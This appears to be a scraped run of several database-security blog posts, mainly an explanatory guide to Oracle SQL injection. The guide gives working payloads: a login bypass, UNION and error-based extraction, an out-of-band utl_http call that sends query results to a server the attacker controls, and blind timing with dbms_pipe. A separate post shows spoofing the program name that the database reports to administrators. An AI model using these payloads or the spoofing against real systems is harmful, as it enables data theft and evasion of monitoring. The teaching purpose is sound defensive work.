As part of my continued crusade to get rid of all database errors returned from the application to the user, one of our developers sent me the following error message coming from Salesforce.com:

So, what can we learn from the error?

• SF uses Java as a backend
• SF uses Oracle as the database
• The application is programmed using stored program units – in this case package sLead with procedure update_leads
• Checks are performed at the PL/SQL level and custom exceptions are being thrown – ORA-20096
• The Java application uses bind variables to call into the PL/SQL layer – good for them!
• My guess is that the username/schema for this particular SF account is SNEEZY and it contains Oracle types with the names CUSER and SLEAD

All in all, I’d say that SF did a good, secure job in implementing the application (bind variables, etc.) but missed the “never return DB errors to the customer” part.

So, what will it take to educate developers not to display errors? Thoughts?

I’m doing a lot of presentations where I mention SQL injection and even show detailed examples of both injecting applications and injecting stored program units within the database.

What I’d like to do in this post is describe SQL injection types, give concrete examples for a web applications and Oracle and talk a bit about blind SQL injection with Oracle as the back-end database.

Let’s start with a simple example

Assuming an application (web or client/server) has a login page that tries to validate users by matching their username and password with an existing row in a database table called user_details. The table contains columns user_name and password. A naive implementation of the database layer would be something like the following Java code:

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name = '" + username + "'
and password = '" + password + "'");

Given that “username” and “password” are input fields directly passed from user input without any processing, any astute reader can notice the problem in this code.
All the would-be hacker is required to do is pass in “‘ or 1=1 –” and he will be logged in with the first user in the table.
In the next paragraphs, we will explore various techniques a hacker can use to attack such vulnerable code as the above.

SQL Injection types

Roughly speaking, SQL injection has three general classes that are divided into many subclasses. The three classes are In-Band, Out-of-Band and Inference.

In-Band

This is,by far, the easiest attack class of SQL injection. This attack is valid if the application can be manipulated to return different results than expected directly to the invoker by using techniques such as unions or error manipulation.
Taking the example from above, let’s say that the application displays the first name in the upper right corner of the screen. Now, all we have to do is to make sure that the first name returned is something we control.
Passing username as – “‘ and 1=0 union select banner from v$version where rownum = 1 –” should get us started.
Of course, at first, you will receive errors because the number of columns is not the same between the first and the second part of the statement so passing in additional nulls or ‘1′ values in the second select should solve the problem.
Using a different technique might be even easier, depending on the application implementation. Instead of trying to match the exact format of the vulnerable statement and guessing what columns are displayed, we can use error manipulation to retrieve the requested information. If the application displays error messages from the database layer directly to the screen, all we have to do is to create an error in the statement with hacker controlled text and read the results. Fortunately for the would-be hackers, Oracle has many options to generate hacker-controlled errors. One such example (the most known one) is using UTL_INADDR.
Again, taking the example from above, passing username as – “‘ or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) –” would generate the following statement: “select * from user_details where user_name = ” or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) — and password = ”” which will generously give the following error on the screen:
ERROR at line 1:

ORA-29257: host Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 -

64bit Production unknown

ORA-06512: at “SYS.UTL_INADDR”, line 4

ORA-06512: at “SYS.UTL_INADDR”, line 35

ORA-06512: at line 1

On recent Oracle versions, this only works if the database user has permissions to access the package and is granted the relevant ACLs but there are other options to use instead of UTL_INADDR like CTXSYS.DRITHSX.SN and others.
It should be noted that Oracle, unlike other databases, does not allow multiple statements separated by ‘;’ so many attack techniques from SQL server and other databases are not possible.

Out-of-Band

If the application developers were more security minded and prevented error codes from being displayed, and the injection point cannot be used with unions as data is not displayed to the user, the hackers can revert to a different class of SQL injection using the Out-of-Band attack. In this attack vector, information is being sent to a hacker controlled server using the network or the file system. Oracle provides several packages and types that can be used to send information out of the database. Examples include HTTPURITYPE, utl_http, utl_tcp, utl_inaddr (DNS smuggling), utl_file, utl_smtp, etc.
Using the example above, the attack would be passing into username the following: “‘ or ‘1′ = utl_http.request(‘http://www.sentrigo.com/’ || (select banner from v$version where rownum = 1)) –” and since the site is controlled by the hacker all the hacker really needs to do is get the requests from his web server logs.

Inference (Blind SQL Injection)

Finally, we are coming to the point of this post.
If both In-Band and Out-of-Band options are not possible, the hacker is left with inference attacks. The most common blind SQL injection attack is using timing to infer information about the database. In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement. In all the examples I’ve seen for Oracle, long operations are traditionally used. Taking the example above, one can pass username: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then (select count(*) from all_objects) else 1 end –” and if the response if slower than usual we now know that the database user we are running with starts with ‘S’.
But, this looks a bit messy as you depend too much on DBMS side effects and also can alert the DBA that something fishy is going on.
Another technique that comes to mind in delaying the database is using commands that receive a timeout such as DBMS_PIPE or DBMS_ALERT. So, the above can be rewritten as following: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then dbms_pipe.receive_message(‘kuku’, 10) else 1 end –”. Since no message is coming on the “kuku” pipe, this will delay the command for 10 seconds exactly (or almost exactly) and then return to the caller.
I was surprised when I couldn’t find any such example on the web.
Using this technique is only possible if the database user has permissions to execute DBMS_PIPE but I’ve seen many databases where this is granted to public.
Looking at 11g, there are many functions that receive a TIMEOUT parameter so it’s reasonable to assume that one of them would be available.
Using this technique, the hacker can precisely (more or less) determine what branch his injection has taken.

What do you think? Is using timeouts as delays for blind SQL injection a usable technique?

Another guest post by Roy Fox, Sentrigo’s Head of Security Research.

Here is a list of things worth considering when using regular expressions. Some of the tips are Hedgehog related.

Use predefined character sets

You should usually prefer using predefined character sets, such as \d, to explicit ones, such as [0-9]. Some character sets provide locale and Unicode support, for example \w is not equivalent to [a-zA-Z0-9_], since it also matches non-Latin letters and numbers.

In addition, using predefined character sets may improve the performance of your regular expressions.

Avoid unnecessary group capturing

To improve performance, avoid grouping, i.e. using parenthesis, as much as possible. Nevertheless, sometimes you may have to group an expression for some reason, but not capture the group for backreferencing, for example in the expression:

(ab)+

In this case, a significant performance gain can be achieved by using non-capturing grouping:

(?:ab)+

Avoid multiple and nested repetitions

The matching algorithm uses backtracking: on failure, it goes back to try other matching possibilities for parts of the expression it already matched. Multiple or nested repetitions may create a multitude of equivalent matching possibilities, so that trying all of them is redundantly slow.

For example, the pattern

^.*password

is essentially equivalent to

^.*.*password

However, in the former, a match for password is tried once in any starting position, while in the latter, if password fails, it’s tried again and again. This is because the wildcards match any splitting of the prefix into 2 parts. The situation is even worse with

^(.+)*password

where every partitioning of the prefix is tried.

Use atomic matching

Often, backtracking is unnecessary. For example, when the expression

create\s*table

is matched against the string

create         user

it’s futile to try to match \s* against any but the longest sequence of whitespaces. You can avoid this backtracking by using the equivalent

create(?>\s*)table

This is atomic non-capturing grouping. When a match has been found for the group (\s*, in this case), but subsequently not for the remainder of the expression (table, in this case), this signals the regular expression engine not to backtrack, that is, not to try another match for \s*.

It should be noted that the repetition quantifiers *, +, and ? have a short notation for their atomic versions: *+, ++ and ?+, respectively, so that (?>\s*) is equivalent to \s*+.

While this may greatly improve performance, note that atomic matching may alter the meaning of the expression, and care should be taken not to harm its validity. For example, .*+ should never be used, because it matches the remainder of the string and nothing else.

Case insensitivity

Hedgehog compiles regular expressions with the flag (?i), which mean that upper/lower case is ignored. For example, the expression

SeLeCt

will match the string

seLEct

If case sensitive matching is required, the expression (or sub-expression) can be preceded with (?-i).

Matching newlines

Hedgehog also compiles regular expressions with the flag (?s), which mean that a wildcard (.) can match a newline character. This is intended primarily to allow the match for .* to span multiple lines. When this is not the required behavior, (?-s) can be used to make a wildcard not match newline characters.

Matching newline characters explicitly can be done using \r and/or \n. Note, however, that different databases have different standard newline symbols, and most accept non-standard ones. It is best to avoid this issue by simply matching any sequence of whitespaces.

Plan for matching failure

For every regular expression, there are the set of strings it matches and of those which it fails to match. In the Hedgehog scenario, as in many others, only a tiny fraction of all strings will match, and most will fail. This makes performance much more important for failing strings than for matched ones.

What this means is that you should try to compose regular expressions which fails as soon as possible for as many of these failing strings as possible. Suppose, for example, you have 2 expressions, expr1 and expr2. expr1 does exactly what you want, but is very complex and slow. expr2 is much faster, but matches, in addition to all the strings it should, half of the strings it shouldn’t. It may be best to use the expression

(?=expr2)expr1

or something equivalent, despite the additional cost of the lookahead. This is because it saves attempting to match the expensive expr1 on half of the failing strings.

I always wondered how Oracle Client knows to send my program name to the server process to be stored in x$ksuse (v$session). I had my assumptions but finally I had a chance to verify them as a fellow developer asked me this question.

I’ve created a simple ocitest C program to connect to Oracle and select the program name from v$session and then started experimenting.

The first test was just overwriting argv[0] with a different value at the beginning of the program. The name was immediately changed in the Oracle session.

The second test was running the program with strace since there are several ways you can get the process name on Linux. It turns out that Oracle client chooses the simplest way:
open(“/proc/self/cmdline”, O_RDONLY)    = 3
read(3, “xxxxxxxxx\0002\0″, 255)        = 12
close(3)                                = 0

So, it looked to me that all I had to do is to intercept (interpose) the open call and replace it with my own version so that if the open tries to read /proc/self/cmdline I will return my own file containing my own chosen program name.
Which I immediately proceeded to test (ocitest2) and of course it worked.

Ha, try this to confuse the administrator – Oracle saying that program X is connected but in the processes list you cannot find program X (of course you can always check the process at the end of the socket).

Today, I had to download an Oracle 11g installation to a headless Linux server without using a browser. Of course, using wget immediately came to mind but since you need to log-in, just pointing wget to the file does not work and will redirect you to the login page. I did a quick Google search and found the following solutions. But, I’m using Firefox which saves the cookies in a sqlite database that is not compatible with the old Netscape cookies format that wget works with and I had no patience to use Lynx.

A quick search on the Mozilla add-ons page showed me this little gem. To download this little add-on you must register to the site because it is experimental. This add-on adds a new menu item under tools called “Export cookies…” and as the name suggests it allows you to export the cookies including session cookies.

So, the solution was to simply log-in to OTN and then export the cookies to a cookies.txt file. After uploading the file to the server, running wget with –load-cookies did the trick:

wget –load-cookies=cookies.txt http://download.oracle.com/otn/linux/oracle11g/linux_11gR1_database_1013.zip

Do you have a simpler way?

As I wrote in a previous post, truncating tables or scrambling content might not remove the actual data from the datafiles. The examples I gave in that post were Oracle related and now I’ll show the same using MS SQL Server 2005. I’d like to thank Dmitriy Geyzerskiy for providing the actual working example.

create database Test

go

use Test

go

– Create a dummy table
create table aaa (a varchar(100));

go

BEGIN TRANSACTION
– Populate with dummy data (object names)
insert into aaa
select name from sys.all_objects;

COMMIT;

– Make sure the data is flushed to the disk
CHECKPOINT;

–get the file and page offsets
SELECT
CONVERT (VARCHAR (6),
CONVERT (INT,
SUBSTRING (sa.first_page, 6, 1) +
SUBSTRING (sa.first_page, 5, 1))) as [File offset],
CONVERT (VARCHAR (20),
CONVERT (INT,
SUBSTRING (sa.first_page, 4, 1) +
SUBSTRING (sa.first_page, 3, 1) +
SUBSTRING (sa.first_page, 2, 1) +
SUBSTRING (sa.first_page, 1, 1))) AS [First page]
FROM
sys.system_internals_allocation_units AS sa,
sys.partitions AS sp
WHERE
sa.container_id = sp.partition_id
AND sp.object_id = OBJECT_ID(‘aaa’);

–Allow DBCC output in user window
DBCC TRACEON(3604)

–truncate the table
TRUNCATE TABLE aaa

–examine the contents of the page (all the objects from the truncated table are there)
DBCC PAGE (‘Test’, — database name
1, — [File offset] from previous query
73, — [First page] from previous query
3) — extended output option

I had an interesting conversation with Alexander Kornbrust yesterday about cloning databases. Most DBAs I know copy database files from production to create staging, integration and test environments. Those environments contain a lot of sensitive information (PII, CC, etc.) which is usually either deleted, scrambled or truncated. The problem with these solutions is that most DBAs forget that the database performs logical deletes and not physical deletes. This can be easily demonstrated on Oracle by the following simple steps that create a table, populate it using dummy data, truncating it and showing the data from the dump file:

• create table test(t varchar2(30));
• insert into test select object_name from user_objects where rownum < 1000;
• commit;
• select dbms_rowid.rowid_relative_fno(rowid), dbms_rowid.rowid_block_number(rowid) from test where rownum < 2;
• truncate table test;
• For the following step, replace ‘x’ and ‘y’ with the results from the previous select
• alter system dump datafile x block y;
• show parameter user_dump_dest
• Check out the new file in the user_dump_dest directory. The file will contain the truncated data in the block.

Of course, this is just an example but it is worth thinking about. It is also worth considering TDE to protect the data files from direct reading.

DBAs out there – what do you do to remove sensitive information from your non-production environments?

As promised, this is the second of a three part blog entry discussing the propagation of middle-tier users to the database. This post will mainly concentrate on the Java side of things. I will show how to use Spring-framework’s excellent transactional support using AOP to add an additional advice, relying on ThreadLocal to pass application user identities from the web tier all the way to the database, and using annotations on the service layer to specify the module and action.

I strongly advise downloading the linked zipped source code at the end of the post if you’re planning on seriously reviewing the code.

(more…)

Well, I threatened to post something more technical, and here we are. I’ve just come back from a business trip to the US, meeting some prospects and customers. As always, I was asked a lot of technical questions. One of the frequent questions I encounter is – how can we propagate the application user and context information to the database, for monitoring and prevention purposes?

I’m going to answer this question here for a specific technological setup of Java and Oracle, but the solution can be adapted to other technologies. Then I’ll give some examples using Spring framework and various Java database tools such as Hibernate and apache commons-dbcp.
In Oracle, there are a couple of methods to propagate application user info into the database. Two such methods are:

• Lightweight user sessions that can be created on top of a single database session in the middle tier or using a connection pool. This method is available to applications using OCI using OCI specific calls and settings like OCI_ATTR_PROXY_CREDENTIALS and using the new JDBC drivers from Oracle. Please note that this method only works when all your application users are users in the database.

• Tracking users, modules and actions using specific CONTEXT (USERENV) parameters. This method is available to OCI applications using OCI_ATTR_MODULE, OCI_ATTR_ACTION and OCI_ATTR_CLIENT_INFO. This method is also available to Java applications using Oracle JDBC driver (either type 2 or type 4).

We will focus on the second method using the Oracle thin JDBC driver as it does not mandate creating all application users in the database.
First, let’s stick to the bare minimum (no exception handling and no frameworks):
Here is what should have worked in Oracle 9i –

import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import oracle.jdbc.driver.OracleConnection;
import oracle.jdbc.pool.OracleDataSource;
public class Test
{
public static void main(String[] args)
throws SQLException, ClassNotFoundException
{
OracleDataSource dataSource = new OracleDataSource();
dataSource.setURL(“jdbc:oracle:thin:@localhost:1521:slavdev”);
dataSource.setUser(“scott”);
dataSource.setPassword(“tiger”);
OracleConnection conn = (OracleConnection) dataSource.getConnection();
conn.setClientIdentifier(“Slavik”);
Statement statement = conn.createStatement();
ResultSet rs = statement.executeQuery(“select sysdate, sys_context(‘USERENV’,'CLIENT_IDENTIFIER’) from dual”);
rs.next();
System.out.println(rs.getString(1) + ” – ” + rs.getString(2));
rs.close();
statement.close();
conn.clearClientIdentifier(“Slavik”);
conn.close();
dataSource.close();
}
}

Surprisingly, this code actually works in 10gR2 giving the result: 2007-05-20 16:25:15.0 – Slavik. But on the other hand, making it work under 9iR2 is not so simple. Also, unfortunately, the setClientIdentifier() as well as clearClientIdentifier()are deprecated. So the recommended way to code this is to use the relatively new end-to-end metrics API.

import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import oracle.jdbc.driver.OracleConnection;
import oracle.jdbc.pool.OracleDataSource;
public class Test1
{
public static void main(String[] args)
throws SQLException, ClassNotFoundException
{
OracleDataSource dataSource = new OracleDataSource();
dataSource.setURL(“jdbc:oracle:thin:@localhost:1521:slavdev”);
dataSource.setUser(“scott”);
dataSource.setPassword(“tiger”);
OracleConnection conn = (OracleConnection) dataSource.getConnection();
String metrics[] = new
String[OracleConnection.END_TO_END_STATE_INDEX_MAX];
metrics[OracleConnection.END_TO_END_ACTION_INDEX] = “Simple Test”;
metrics[OracleConnection.END_TO_END_MODULE_INDEX] = “Test Application”;
metrics[OracleConnection.END_TO_END_CLIENTID_INDEX] = “Slavik”;
// Set these metrics
conn.setEndToEndMetrics(metrics, (short) 0);
Statement statement = conn.createStatement();
ResultSet rs = statement.executeQuery(
“select sysdate, ” +
“sys_context(‘USERENV’,'ACTION’), ” +
“sys_context(‘USERENV’,'MODULE’), ” +
“sys_context(‘USERENV’,'CLIENT_IDENTIFIER’) ” +
“from dual”);
rs.next();
System.out.println(rs.getString(1) + ” – ” + rs.getString(2) + “, ” +
rs.getString(3) + “, ” + rs.getString(4));
rs.close();
statement.close();
conn.close();
dataSource.close();
}
}

Now the results are – 2007-05-20 16:31:55.0 – Simple Test, Test Application, Slavik, and we did not waste any roundtrips to the server while setting all those details.

Please notice that the metrics setting will be set on the connection for all statements until we reset it by setting nulls and Short.MIN_VALUE.

For more details on the API, you can check http://download-west.oracle.com/docs/cd/B19306_01/java.102/b14355/endtoend.htm documentation.

A short explanation of what we set here:

• Action – The current action that the application performs (can be a page name or an action within the page).
• Module – The module within the application. Can be the application name.
• Client Identifier – The user within the application performing these actions.

Now that we are over the basics, let’s move on to the fun stuff.

My next post will show how to transparently set those metrics using Spring framework, Hibernate and commond-dbcp.